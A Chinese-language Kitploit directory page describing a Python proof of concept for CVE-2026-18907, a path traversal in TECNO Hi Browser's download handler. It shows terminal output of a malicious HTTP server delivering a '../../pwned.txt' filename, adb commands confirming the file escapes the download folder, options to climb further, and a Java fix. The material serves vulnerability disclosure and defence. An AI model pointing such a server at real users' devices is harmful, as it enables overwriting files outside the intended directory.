Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal — 针对 TECNO Hi Browser 下载处理器中 CVE-2026-18907 路径遍历漏洞的 Python PoC。包含恶意 HTTP 服务器和简易下载器,用于演示修复。 | Kitploit
工具/GitHubGitHub/hunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal
Android安全漏洞分析漏洞利用移动应用渗透测试Web应用程序漏洞利用Web安全移动安全
GitHubhunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

针对 TECNO Hi Browser 下载处理器中 CVE-2026-18907 路径遍历漏洞的 Python PoC。包含恶意 HTTP 服务器和简易下载器,用于演示修复。

查看仓库
9天前尚未审核

CVE-2026-18907 —— TECNO Hi 浏览器下载处理器中的路径遍历漏洞

这是针对 CVE-2026-18907(CVSS 7.5 High,CWE-23)的概念验证(PoC),该漏洞是 TECNO Hi Browser(com.talpa.hibrowser)2.23.1.1 版本下载文件功能中的一个相对路径遍历漏洞。浏览器信任由攻击者控制的 Content-Disposition 文件名,并将其拼接到下载目录中,既未净化路径分隔符,也未对结果进行规范路径检查——因此文件名中的 ../ 序列可使响应体被写入 Download/ 目录之外、浏览器存储权限所允许的任何路径。

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-18907
  • 厂商公告(TECNO SRC): https://security.tecno.com/SRC/blogdetail/448?lang=en_US
  • 配套文章: https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
  • 致谢研究人员: MUSTAFA SANLI
  • 状态: 已在最新版 Hi Browser 中修复(依据 TECNO 公告)。

本 PoC 不包含专有的 com.talpa.hibrowser APK。它演示了 (a) 精确的恶意 HTTP 传输(delivery),以及 (b) 该漏洞的 根因类别(即一个将响应文件名作为路径组件来信任的下载器)。CVE-2026-18907 所描述的正是这一相同的原语。

文件

文件用途
evil_server.py恶意 HTTP 服务器。提供一个响应,其 Content-Disposition 文件名中携带 ../。这就是 传输(delivery)。
naive_downloader.py

快速开始

root@kitploit:~
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
 CVE-2026-18907 path-traversal delivery server
================================================================
 listening     : http://0.0.0.0:8000/
 traversal file: '../../pwned.txt'
 payload bytes : 43
----------------------------------------------------------------
 Point a vulnerable browser/downloader at the URL above.
 On a VULNERABLE client the file escapes the download dir.
================================================================

# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
 CVE-2026-18907 naive downloader
================================================================
 download dir : /tmp/demo/Download
 Content-Disposition: attachment; filename="../../pwned.txt"
 parsed name  : '../../pwned.txt'
----------------------------------------------------------------
 [VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
              resolved -> /tmp/pwned.txt
              escaped download dir: True
 [FIXED]      wrote 43 bytes -> /tmp/demo/Download/pwned.txt
             ../ discarded by basename(); contained OK
================================================================

易受攻击的拼接产生了 /tmp/demo/Download/../../pwned.txt,操作系统解析了 ..,文件最终出现在 /tmp/pwned.txt ——即位于下载目录之外。修复版路径先调用 os.path.basename()(../ 属于路径信息,会被丢弃,仅留下 pwned.txt),再验证规范路径仍位于下载目录之内。

将浏览器指向该服务器

在被测设备可访问的主机上启动 evil_server.py,然后让易受攻击的浏览器访问 http://<host>:8000/。对于会自动启动 attachment 下载且不净化文件名的浏览器,文件会被写入由 ../ 链解析出的路径。使用 adb 验证包含检查失败:

root@kitploit:~
$ adb shell ls -la /sdcard/Download/         # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt                            # escaped the download directory

使用 --depth 根据设备调整向上攀爬的层数(默认值 2 可使 /sdcard/Download/ 上溯回 /sdcard/;增大该值可爬得更高),并使用 --target 指定落点文件名(basename)。

修复(一种惯用写法)

对于任何下载管理器而言,整个 CWE-23 类漏洞都可以归结为同时应用的两种习惯做法:

  1. 缩减为 basename —— 去掉最后一个 / 之前(含)的所有内容。
  2. 验证规范路径包含 —— 拼接后进行规范化,并断言结果仍以预期目录开头。
root@kitploit:~
File base = downloadDir.getCanonicalFile();
File out  = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
    throw new SecurityException("refusing to write outside download dir: " + out);
}

不要将 ../ 加入黑名单——与遍历等价的编码方式是开放式的。先规范化,再比较。该算法是封闭的。

负责任地使用

仅在你控制的网络中运行该服务器,并且只对你拥有的设备进行测试。从定义上说,路径遍历写入就是一种文件写入原语——不要将其指向任何你不愿被覆盖的内容。

许可证

MIT —— 完整署名与主要来源请参阅配套文章。

下载工具
一个极简下载器,复现了易受攻击的 join(dir, filename) 模式,同时附上修复版(basename + 规范路径包含),让你在一次运行中即可观察到逃逸过程。